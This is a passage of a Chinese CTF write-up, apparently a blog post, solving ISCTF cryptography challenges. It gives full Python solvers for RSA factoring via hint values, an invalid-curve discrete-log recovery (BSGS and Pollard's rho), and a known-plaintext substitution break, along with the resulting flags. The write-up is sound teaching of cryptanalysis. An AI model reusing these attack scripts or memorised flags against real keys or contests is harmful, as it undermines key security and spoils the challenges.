15381013223078846537731461466880636394199540595403435401138127547481863401431466372374802606225281410197388364722944495843405467862781503434970989158584650159590980399087359088118746163629618532987297413548047215179053477589410157484215376788161320381404390190467326828317085039705167675630596365709188985681649747552770255068423205419746730136649403555515290098619746175600947097893366036430479763751257652595334352418296864541247999321025232348500763810371215286305853572498789766256531460974011022731922336715523379552064525311328532274496963226072015892784253991084576242734695083889820166631064731394426574244137,\n    8639902842024035953048638563768315927624671856924547112209526883962456853052089935252707927468432895933170836045185383394096573378220873632433306851623471094895240704466661122788392467144892335530991171751297377896525529639348516066396938968040587426508605861054726429454030686327018745441753930983556245291730653368996527050046737903050080495173995563726990564829713815768651787483101363848070083858443766098560638337868296111441788798574965477355431173836128839250967090465226610709666720508328978510631834435136772497463531551713080290889081436462800389414847971067210139076388894646477223534324245688231308651402,\n    35228394523315997738820412922291535639435039748226420541446858967158850258697393757215146296389518178994242807247547892971367759083443187781159,\n    6240983929786483220051416467719053988488038641934890929981073832233939427834145472336915358758745943895354212032680367743535480193473825955326802869864352912264819240397323037315537988324410288546472301626890591739573348191915387074878814318018257079325106269383242877918486075024690767741729879076813581842036944498326059102754583317760100647490256432861228914984872474683425397073112462956198249407553140398404673370857128292911829788563089759423977978816627360219756198454057710015406165962422617662704219899517474510659197047034325834333381214858621450033089047323717051044225354940003754145032127292424992011101,\n    6984059054701243194406577182995741240436897138602476775543220094645161472633895356320870691493565356230021817198695018272393666667370608977208110764253393769787442206738887651454907864559105056199727308147026476795306714769493199003447522266774033773324562270207374768320253619068701592065984601594887388312013493599257403722865953095442171057100657271578293280686338908523864018983343500587769033822586560003572736592272152317739316444108939218480574158527171198620726886917802598591993658035939705289787249746288650701612275221097113840902054486416966701593345265607809381111897049158093808534604642731640119152868,\n    9610425425501485449537748361164652677158792621032292104946727266655594704290554003044377640635938997615382559405839696633456524257520749570798069876408676921921508491566094310451535812726509625559772552216775984034994654686077581771306574807821000988687494843385541833458873739204271564568689723925761973189708592881482846646426280049739796580929850941981882154358359008000707906221459919505725630791914755910838899191924833300609856950819107362413681305294507489838444421285910012653866140490877420620551310798317895506704520509435554786438387597440096937627702835916143794698887778982888695219967982245649746655470,\n    794708560552308405126546731517428100557886745717835758758542380710685584,\n    4366286865897405386543255708293800522386204706169307328366554555364884083859171277798722946451756634920858627299532823660480318239049230750988476049477513092520844569149267106332990711387926038335306437738094725423916554317517443566123618496555545533680705744831228568422251969382492688050958971980479679805428102801749764130245809570484750989852311926567073592760547445916703018635471776441628270869914109919847570929937108398744190319099944135878164624117925789234408527770792315261913666378047301366117348007407689729553121872429672477943763065031289363375897860958687532065443830782060680953252171706108298186067,\n    16599275744410550408933364882313950383421717117863259063696626313760940800128182804380262220526496674159136503269710326208644142632589833265263673629452996345476574747374747172655476596826644020872255782962700686562762713813009141052898954099526049199438330249525172937305118217295550996402876461138835393788249817466964132570303998739392864522160381559518796827917831858448710285259754350691301608261901046038810797165013301247129220438986641677769203536623610901604156282036632560795746698128751128683870700853339493839501889121028640592461819470558005091594236201609522690232023400257649767388230656904982965702400,\n    9953189432255063894070711778963178970743198121753649081719130469512753806047549503962109442976714615255038871181051195512724207218843889262884288045589566753004137388059340730864662203711021106738767094228552897493653199240432249671119014845998208040396103544771523200759949973732641979644934204944350638114647371917538547803820215871447465362042956264048360078551647879310238285850657470764222027085496193016418088396386760643015475367197907378932626248164269818716905644542858090723472987968554892684192736976050169896444520698548656309379499864809652240244453616286236722509397142224233180948147011605558427902848,\n    11137871466581047781242984634852964336706264103460602528475970728553465644713327296350923627071860721778412789236714773697433892321959279504008377433584604885817319604115996426320874382244073671694322092160768350159529231732048447670177579115854882538413223938721279445190025525651472499343624011272214336778696111400347742318222789215043195711269360705507743463500549755479755775737105743290208621332589467304719937369513194207595213182980370357559166180993485168866418076474829491707312908665547905615295104716814273672708222960604034067248688735024594069804630472429600684961470444745009128678939204098625367015452,\n    8547801237237556680245447121357531340087815887730999035326630934574339083867172461996679202294604204246415617087303468869638590371489396511890451394149215396045103967365422720335104673107126428846330142015210956274026922065251671248521248406703003517010268831048835400375497130725745344823402860499648204664008236488552255035422928921490487905318800334939525030207122862220895298568207554924706494486709790089585773581447139024819366484617067643862923821174578132381404045225537724922355917737191443476738183156619271477344846716060997041706765920488392521346954370234605596534371205052913391651084238833069263785246,\n    10398214245820233588167072072340460997067473220261572021578267549114000461324485988447437613040475809210011162256875428799327091235990171928216379105895288609773032862919523980293555963618323001564571973363418294497086861386518673361280706598614868452173330762143105775824076992409365806017218778102139861298703673447295670293191397994589110648541822608470022190616048229374246581750506635166699349805517119679503917519913987281318125804952325118589261418014369477837522696543190827291142488222603361805610512683583242709234195072960764001035300916480662591147878968245702960413084896858751962028377013605141587432900\n]\n\nfor hv in hint_values:\n    if hv &lt; 2:\n        continue\n    # \u53ea\u5904\u7406\u5927\u6570\uff08\u5341\u8fdb\u5236\u4f4d\u6570\u8d85\u8fc7300\u4f4d\uff09\n    if len(str(hv)) &gt; 300:\n        g = math.gcd(n, hv - 2)\n        if 1 &lt; g &lt; n:\n            p = g\n            q = n \/\/ p\n            phi = (p - 1) * (q - 1)\n            d = pow(e, -1, phi)\n            m = pow(c, d, n)\n            flag = m.to_bytes((m.bit_length() + 7) \/\/ 8, 'big').decode()\n            print(f\"{flag}\")\n            exit(0)\n\n# \u5982\u679c\u5927\u6570\u6ca1\u627e\u5230\uff0c\u5c1d\u8bd5\u6240\u6709\u6570\nfor hv in hint_values:\n    if hv &lt; 2:\n        continue\n    g = math.gcd(n, hv - 2)\n    if 1 &lt; g &lt; n:\n        p = g\n        q = n \/\/ p\n        phi = (p - 1) * (q - 1)\n        d = pow(e, -1, phi)\n        m = pow(c, d, n)\n        flag = m.to_bytes((m.bit_length() + 7) \/\/ 8, 'big').decode()\n        print(f\"{flag}\")\n        exit(0)\n\nprint(\"Failed to factor n\")<\/code><\/pre>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u4fee\u6539\u7248\u8d39\u9a6c\u5c0f\u5b9a\u7406\u5229\u7528<\/strong>\uff1a\u5173\u952e\u5728\u4e8e\u7406\u89e3hints\u7684\u6784\u9020\u65b9\u5f0f\u3002\u7531\u4e8e<code>hint_value \u2261 2 (mod p)<\/code>\uff0c<code>p<\/code>\u5fc5\u7136\u662f<code>hint_value - 2<\/code>\u7684\u56e0\u5b50\uff0c\u56e0\u6b64\u53ef\u4ee5\u901a\u8fc7\u8ba1\u7b97<code>gcd(n, hint_value - 2)<\/code>\u6765\u5206\u89e3<code>n<\/code>\u3002<\/li>\n\n\n\n<li><strong>\u6548\u7387\u4f18\u5316<\/strong>\uff1a\u7531\u4e8ehint_values\u4e2d\u6709\u5f88\u591a\u5927\u6570\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u68c0\u67e5\u6570\u5b57\u7684\u957f\u5ea6\u6765\u4f18\u5148\u5c1d\u8bd5\u90a3\u4e9b\u66f4\u53ef\u80fd\u662f\u6709\u6548\u63d0\u793a\u7684\u503c\uff0c\u63d0\u9ad8\u7834\u89e3\u6548\u7387\u3002<\/li>\n\n\n\n<li><strong>RSA\u89e3\u5bc6<\/strong>\uff1a\u4e00\u65e6\u6210\u529f\u5206\u89e3<code>n<\/code>\uff0c\u5269\u4f59\u7684\u89e3\u5bc6\u8fc7\u7a0b\u5c31\u662f\u6807\u51c6\u7684RSA\u89e3\u5bc6\u6d41\u7a0b\u3002<\/li>\n<\/ol>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-105.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"978\" height=\"225\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-105.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1670\"  sizes=\"auto, (max-width: 978px) 100vw, 978px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{M0dIFi3D_f3RM47_7H30r3m_I5_fUn_8U7_h4rD3r!}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u6c89\u8ff7\u6570\u5b66\u7684\u5c0f\u84dd\u9ca8<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-106.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"675\" height=\"933\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-106.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1671\"  sizes=\"auto, (max-width: 675px) 100vw, 675px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u692d\u5706\u66f2\u7ebf.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>y\u00b2 = x\u00b3 + 3x + 27 (mod p)\n\nQ(0xa61ae2f42348f8b84e4b8271ee8ce3f19d7760330ef6a5f6ec992430dccdc167, 0x8a3ceb15b94ee7c6ce435147f31ca8028d1dd07a986711966980f7de20490080)\n\nk= ?\n\n\u6700\u7ec8flag\u8bf7\u5c06\u89e3\u51fak\u503c\u768416\u8fdb\u5236\u8f6c\u6362\u4e3a32\u4f4dmd5\u4ee5ISCTF{}\u5305\u88f9\u63d0\u4ea4<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee\u4fe1\u606f<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u9898\u76ee\u66f2\u7ebf<\/strong>: <code>y\u00b2 = x\u00b3 + 3x + 27 (mod p)<\/code><br><strong>\u6a21\u6570p<\/strong>: <code>0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F<\/code> (secp256k1\u7684\u7d20\u6570)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5df2\u77e5\u70b9<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>G(secp256k1\u751f\u6210\u5143):<br><code>(0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798, 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8)<\/code><\/li>\n\n\n\n<li>Q:<br><code>(0xa61ae2f42348f8b84e4b8271ee8ce3f19d7760330ef6a5f6ec992430dccdc167, 0x8a3ceb15b94ee7c6ce435147f31ca8028d1dd07a986711966980f7de20490080)<\/code><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u76ee\u6807<\/strong>: \u6c42k\u4f7f\u5f97 <code>Q = k \u00d7 G<\/code>\uff0c\u5c06k\u768416\u8fdb\u5236\u5b57\u7b26\u4e32MD5\u540e\u4f5c\u4e3aflag\u63d0\u4ea4<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u52a0\u5bc6\u8fc7\u7a0b\u5206\u6790<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">\u66f2\u7ebf\u9009\u62e9<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee\u4f7f\u7528\u4e86\u4e0esecp256k1\u76f8\u540c\u6a21\u6570p\u4f46\u4e0d\u540c\u53c2\u6570\u7684\u692d\u5706\u66f2\u7ebf\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6807\u51c6secp256k1: <code>y\u00b2 = x\u00b3 + 7 (mod p)<\/code><\/li>\n\n\n\n<li><br><p>\u9898\u76ee\u66f2\u7ebf: <code>y\u00b2 = x\u00b3 + 3x + 27 (mod p)<\/code><\/p><br><p>\u5bc6\u94a5\u751f\u6210<\/p><br><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u653b\u51fb\u8005\uff08\u51fa\u9898\u65b9\uff09\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u4f7f\u7528secp256k1\u7684\u751f\u6210\u5143G<\/li>\n\n\n\n<li>\u5c06G\u89c6\u4e3a\u9898\u76ee\u66f2\u7ebf\u4e0a\u7684\u70b9\uff08\u867d\u7136\u5b9e\u9645\u4e0a\u4e0d\u6ee1\u8db3\u65b9\u7a0b\uff09<\/li>\n\n\n\n<li>\u9009\u62e9\u4e00\u4e2a\u8f83\u5c0f\u7684\u79d8\u5bc6k<\/li>\n\n\n\n<li><br><p>\u8ba1\u7b97 <code>Q = k \u00d7 G<\/code> \u5728\u9898\u76ee\u66f2\u7ebf\u4e0a<\/p><br><p><strong>\u5b89\u5168\u6f0f\u6d1e<\/strong><\/p><br><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u662f\u5178\u578b\u7684<strong>\u65e0\u6548\u66f2\u7ebf\u653b\u51fb<\/strong>\u573a\u666f\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>G\u6765\u81easecp256k1\uff0c\u5728\u9898\u76ee\u66f2\u7ebf\u4e0a\u5f62\u6210\u5c0f\u5b50\u7fa4<\/li>\n\n\n\n<li>\u5c0f\u5b50\u7fa4\u7684\u9636\u5f88\u5c0f\uff0c\u79bb\u6563\u5bf9\u6570\u95ee\u9898\u5bb9\u6613\u6c42\u89e3<\/li>\n\n\n\n<li>\u4f46\u5bf9\u5916\u8868\u73b0\u4e3a\u5408\u6cd5\u7684\u692d\u5706\u66f2\u7ebf\u52a0\u5bc6<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u65e0\u6548\u66f2\u7ebf\u653b\u51fb\u5229\u7528\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><br><p><strong>\u53c2\u6570\u4e0d\u5339\u914d<\/strong>: \u4f7f\u7528secp256k1\u7684G\u4f46\u7528\u9898\u76ee\u66f2\u7ebf\u53c2\u6570\u8ba1\u7b97<\/p><br><\/li>\n\n\n\n<li><br><p><strong>\u5c0f\u5b50\u7fa4<\/strong>: G\u5728\u9898\u76ee\u66f2\u7ebf\u4e0a\u5f62\u6210\u5c0f\u9636\u5b50\u7fa4<\/p><br><\/li>\n\n\n\n<li><br><p><strong>\u6613\u89e3DLP<\/strong>: \u5728\u5c0f\u9636\u7fa4\u4e2d\u79bb\u6563\u5bf9\u6570\u95ee\u9898\u53ef\u89e3<\/p><br><\/li>\n\n\n\n<li><br><p><strong>\u65e0\u6548\u66f2\u7ebf<\/strong>\uff1a\u4f7f\u7528\u6765\u81ea\u4e0d\u540c\u66f2\u7ebf\u7684\u70b9G<\/p><br><\/li>\n\n\n\n<li><br><p><strong>\u5c0f\u5b50\u7fa4<\/strong>\uff1aG\u5728\u65b0\u66f2\u7ebf\u4e0a\u5f62\u6210\u5c0f\u9636\u5faa\u73af\u7fa4<\/p><br><\/li>\n\n\n\n<li><br><p><strong>\u6613\u89e3DLP<\/strong>\uff1a\u5c0f\u9636\u7fa4\u4e2d\u79bb\u6563\u5bf9\u6570\u53ef\u66b4\u529b\u7834\u89e3<\/p><br><\/li>\n\n\n\n<li><br><p><strong>\u5bc6\u94a5\u6062\u590d<\/strong>\uff1a\u5f97\u5230k\u540e\u5373\u53ef\u89e3\u5bc6<\/p><br><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">py3\u4ee3\u7801\u5448\u73b0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># jie.py\nimport hashlib\nfrom Crypto.Util.number import inverse\n\np = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F\nG = (0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798,\n     0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8)\nQ = (0xa61ae2f42348f8b84e4b8271ee8ce3f19d7760330ef6a5f6ec992430dccdc167,\n     0x8a3ceb15b94ee7c6ce435147f31ca8028d1dd07a986711966980f7de20490080)\na = 3  # \u9898\u76ee\u66f2\u7ebf\u53c2\u6570\n\ndef ec_add(P, Q, a, p):\n    if not P or not Q: return P or Q\n    x1, y1 = P\n    x2, y2 = Q\n    if x1 == x2:\n        if y1 == y2:\n            s = (3*x1*x1 + a) * inverse(2*y1, p) % p\n        else:\n            return None\n    else:\n        s = (y2 - y1) * inverse(x2 - x1, p) % p\n    x3 = (s*s - x1 - x2) % p\n    y3 = (s*(x1 - x3) - y1) % p\n    return (x3, y3)\n\ndef ec_multiply(k, P, a, p):\n    R = None\n    while k:\n        if k &amp; 1:\n            R = ec_add(R, P, a, p)\n        P = ec_add(P, P, a, p)\n        k &gt;&gt;= 1\n    return R\n\n# \u65b9\u6cd51\uff1a\u5148\u5c1d\u8bd5\u5c0f\u6b65\u5927\u6b65\u6cd5\uff08BSGS\uff09\u76f4\u63a5\u627ek\nprint(\"\u5c1d\u8bd5\u5c0f\u6b65\u5927\u6b65\u6cd5\u5bfb\u627ek...\")\nimport math\n\ndef bsgs(G, Q, a, p, max_k=10**7):\n    m = int(math.sqrt(max_k)) + 1\n    baby = {}\n\n    # \u8ba1\u7b97baby steps\n    print(f\"\u8ba1\u7b97baby steps (m={m})...\")\n    current = None\n    for j in range(m):\n        if j == 0:\n            current = None\n        elif j == 1:\n            current = G\n        else:\n            current = ec_add(current, G, a, p)\n        if current:\n            baby&#91;current] = j\n\n    # \u8ba1\u7b97m*G\n    mG = ec_multiply(m, G, a, p)\n    if mG:\n        neg_mG = (mG&#91;0], (-mG&#91;1]) % p)\n    else:\n        neg_mG = None\n\n    # \u8ba1\u7b97giant steps\n    print(\"\u8ba1\u7b97giant steps...\")\n    current = Q\n    for i in range(m):\n        if current in baby:\n            j = baby&#91;current]\n            k = i * m + j\n            # \u9a8c\u8bc1\n            if ec_multiply(k, G, a, p) == Q:\n                return k\n        current = ec_add(current, neg_mG, a, p)\n        if i % 10000 == 0:\n            print(f\"  \u5df2\u6d4b\u8bd5i={i}...\")\n    return None\n\n# \u5148\u5c1d\u8bd5\u4e2d\u7b49\u8303\u56f4\u641c\u7d22\nk = bsgs(G, Q, a, p, max_k=10**6)\nif k:\n    print(f\"\u627e\u5230k: {k}\")\n    print(f\"hex(k): {hex(k)}\")\n    k_hex = hex(k)&#91;2:]\n    md5 = hashlib.md5(k_hex.encode()).hexdigest()\n    print(f\"Flag: ISCTF{{{md5}}}\")\nelse:\n    print(\"BSGS\u672a\u627e\u5230k\uff0c\u5c1d\u8bd5Pollard's Rho...\")\n\n    # \u65b9\u6cd52\uff1aPollard's Rho\u7b97\u6cd5\n    def pollard_rho(G, Q, a, p, max_iter=10**6):\n        import random\n\n        def f(x, c, d):\n            return ec_add(ec_multiply(c, G, a, p), ec_multiply(d, Q, a, p), a, p)\n\n        # \u521d\u59cb\u5316\n        c1, d1 = random.randint(1, p-1), random.randint(1, p-1)\n        X1 = f(None, c1, d1)\n        c2, d2 = c1, d1\n        X2 = X1\n\n        for i in range(max_iter):\n            # \u4e4c\u9f9f\u8d70\u4e00\u6b65\n            if X1&#91;0] % 3 == 0:\n                X1 = ec_add(X1, G, a, p)\n                c1 = (c1 + 1) % p\n            elif X1&#91;0] % 3 == 1:\n                X1 = ec_add(X1, Q, a, p)\n                d1 = (d1 + 1) % p\n            else:\n                X1 = ec_add(X1, X1, a, p)\n                c1 = (2 * c1) % p\n                d1 = (2 * d1) % p\n\n            # \u5154\u5b50\u8d70\u4e24\u6b65\n            for _ in range(2):\n                if X2&#91;0] % 3 == 0:\n                    X2 = ec_add(X2, G, a, p)\n                    c2 = (c2 + 1) % p\n                elif X2&#91;0] % 3 == 1:\n                    X2 = ec_add(X2, Q, a, p)\n                    d2 = (d2 + 1) % p\n                else:\n                    X2 = ec_add(X2, X2, a, p)\n                    c2 = (2 * c2) % p\n                    d2 = (2 * d2) % p\n\n            if X1 == X2:\n                # \u78b0\u649e\u53d1\u751f\n                delta_d = (d1 - d2) % p\n                if delta_d == 0:\n                    return None\n                k = (inverse(delta_d, p) * (c2 - c1)) % p\n                if ec_multiply(k, G, a, p) == Q:\n                    return k\n\n            if i % 100000 == 0:\n                print(f\"  Pollard's Rho: \u5df2\u8fed\u4ee3{i}\u6b21...\")\n\n        return None\n\n    k = pollard_rho(G, Q, a, p)\n    if k:\n        print(f\"\u627e\u5230k: {k}\")\n        print(f\"hex(k): {hex(k)}\")\n        k_hex = hex(k)&#91;2:]\n        md5 = hashlib.md5(k_hex.encode()).hexdigest()\n        print(f\"Flag: ISCTF{{{md5}}}\")\n    else:\n        print(\"\u4e24\u79cd\u65b9\u6cd5\u90fd\u672a\u627e\u5230k\uff0c\u5c1d\u8bd5\u6269\u5927\u641c\u7d22\u8303\u56f4...\")\n\n        # \u65b9\u6cd53\uff1a\u76f4\u63a5\u66b4\u529b\u641c\u7d22\uff08\u7528\u4e8e\u5c0f\u5b50\u7fa4\uff09\n        print(\"\u76f4\u63a5\u66b4\u529b\u641c\u7d22k...\")\n        found = False\n        for k in range(1, 1000000):\n            R = ec_multiply(k, G, a, p)\n            if R == Q:\n                print(f\"\u627e\u5230k: {k}\")\n                print(f\"hex(k): {hex(k)}\")\n                k_hex = hex(k)&#91;2:]\n                md5 = hashlib.md5(k_hex.encode()).hexdigest()\n                print(f\"Flag: ISCTF{{{md5}}}\")\n                found = True\n                break\n            if k % 100000 == 0:\n                print(f\"  \u5df2\u6d4b\u8bd5k={k}...\")\n\n        if not found:\n            print(\"\u66b4\u529b\u641c\u7d22\u672a\u627e\u5230k\")<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-107-1024x238.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"238\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-107-1024x238.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1672\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code> ISCTF{43896099feea21a3d5804863075e1aaa}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u5c0f\u84dd\u9ca8\u7684\u5bc6\u7801\u7bb1<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-108.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"655\" height=\"925\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-108.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1673\"  sizes=\"auto, (max-width: 655px) 100vw, 655px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u662f\u4e00\u4e2a\u52a0\u5bc6\u670d\u52a1<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u9898\u76ee\u63d0\u4f9b\u4e86\u4e00\u4e2a\u5728\u7ebf\u52a0\u5bc6\u670d\u52a1<\/li>\n\n\n\n<li>\u8f93\u5165\u53c2\u6570(a,b,c)\u548c\u6587\u672c\uff0c\u8fd4\u56de\u52a0\u5bc6\u540e\u7684\u5341\u516d\u8fdb\u5236\u5bc6\u6587<\/li>\n\n\n\n<li>\u6bcf\u4e2a\u5b57\u7b26\u6709\u56fa\u5b9a\u7684\u5bc6\u6587\u6620\u5c04<\/li>\n\n\n\n<li>\u5df2\u77e5&#8221;ISCTF&#8221;\u7684\u5bc6\u6587\uff1a<code>202c 0a 1ba3 2f4 a84<\/code><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u52a0\u5bc6\u670d\u52a1\u5bf9\u6bcf\u4e2a\u5b57\u7b26\u751f\u6210\u56fa\u5b9a\u7684\u5bc6\u6587\uff08\u7c7b\u4f3c\u66ff\u6362\u5bc6\u7801\uff09\uff0c\u6211\u4eec\u9700\u8981\u901a\u8fc7&#8221;\u5df2\u77e5\u660e\u6587-\u5bc6\u6587\u5bf9&#8221;\u6765\u7834\u89e3\u52a0\u5bc6\u6620\u5c04\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-109-1024x665.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"665\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-109-1024x665.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1674\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u653b\u51fb\u539f\u7406<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u662f\u5178\u578b\u7684<strong>\u5df2\u77e5\u660e\u6587\u653b\u51fb<\/strong>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6211\u4eec\u77e5\u9053&#8221;ISCTF&#8221;\u5bf9\u5e94<code>202c 0a 1ba3 2f4 a84<\/code><\/li>\n\n\n\n<li>\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u63a8\u6d4b\uff1a\n<ul class=\"wp-block-list\">\n<li>&#8220;I&#8221; \u2192 &#8220;202c&#8221;<\/li>\n\n\n\n<li>&#8220;S&#8221; \u2192 &#8220;0a&#8221;<\/li>\n\n\n\n<li>&#8220;C&#8221; \u2192 &#8220;1ba3&#8221;<\/li>\n\n\n\n<li>&#8220;T&#8221; \u2192 &#8220;2f4&#8221;<\/li>\n\n\n\n<li>&#8220;F&#8221; \u2192 &#8220;a84&#8221;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-110-1024x593.png'><img class=\"lazyload 